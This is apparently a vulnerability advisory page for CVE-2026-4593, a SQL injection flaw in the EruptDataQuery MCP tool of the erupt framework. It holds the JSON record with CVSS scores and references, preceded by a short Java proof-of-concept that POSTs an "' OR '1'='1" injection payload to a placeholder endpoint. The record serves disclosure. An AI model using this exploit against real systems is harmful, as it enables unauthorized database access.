CVE-2026-4593

// PoC Concept for CVE-2026-4593 // Targeting the EruptDataQuery endpoint import java.io.*; import java.net.*; public class Exploit { public static void main(String[] args) { try { String target = "http://target.com/erupt-api/data/query"; // Payload attempting to bypass simple Hibernate checks String maliciousPayload = "test' OR '1'='1"; URL url = new URL(target); HttpURLConnection conn = (HttpURLConnection) url.openConnection(); conn.setRequestMethod("POST"); conn.setDoOutput(true); String params = "data=" + URLEncoder.encode(maliciousPayload, "UTF-8"); OutputStream os = conn.getOutputStream(); os.write(params.getBytes()); os.flush(); BufferedReader br = new BufferedReader(new InputStreamReader(conn.getInputStream())); String line; while ((line = br.readLine()) != null) { System.out.println(line); } } catch (Exception e) { e.printStackTrace(); } } }

{"cve": {"id": "CVE-2026-4593", "sourceIdentifier": "[email protected]", "published": "2026-03-23T17:16:57.977", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "A flaw has been found in erupts erupt bis 1.13.3. Affected by this vulnerability is the function EruptDataQuery of the file erupt-ai/src/main/java/xyz/erupt/ai/call/impl/EruptDataQuery.java of the component MCP Tool Interface. This manipulation causes sql injection hibernate. It is possible to initiate the attack remotely. The exploit has been published and may be used. The vendor was contacted early about this disclosure but did not respond in any way."}, {"lang": "es", "value": "Se ha encontrado una falla en erupts erupt bis 1.13.3. Afectada por esta vulnerabilidad es la función EruptDataQuery del archivo erupt-ai/src/main/java/xyz/erupt/ai/call/impl/EruptDataQuery.java del componente MCP Tool Interface. Esta manipulación causa inyección SQL hibernate. Es posible iniciar el ataque remotamente. El exploit ha sido publicado y puede ser usado. El proveedor fue contactado tempranamente sobre esta divulgación pero no respondió de ninguna manera."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L", "baseScore": 6.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 3.4}], "cvssMetricV2": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "2.0", "vectorString": "AV:N/AC:L/Au:S/C:P/I:P/A:P", "baseScore": 6.5, "accessVector": "NETWORK", "accessComplexity": "LOW", "authentication": "SINGLE", "confidentialityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "availabilityImpact": "PARTIAL"}, "baseSeverity": "MEDIUM", "exploitabilityScore": 8.0, "impactScore": 6.4, "acInsufInfo": false, "obtainAllPrivilege": false, "obtainUserPrivilege": false, "obtainOtherPrivilege": false, "userInteractionRequired": false}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}, {"lang": "en", "value": "CWE-564"}]}], "references": [{"url": "https://fx4tqqfvdw4.feishu.cn/docx/EunDdwORZoG3uzxpLykcj24mncJ?from=from_copylink", "source": "[email protected]"}, {"url": "https://vuldb.com/?ctiid.352430", "source": "[email protected]"}, {"url": "https://vuldb.com/?id.352430", "source": "[email protected]"}, {"url": "https://vuldb.com/?submit.775593", "source": "[email protected]"}]}}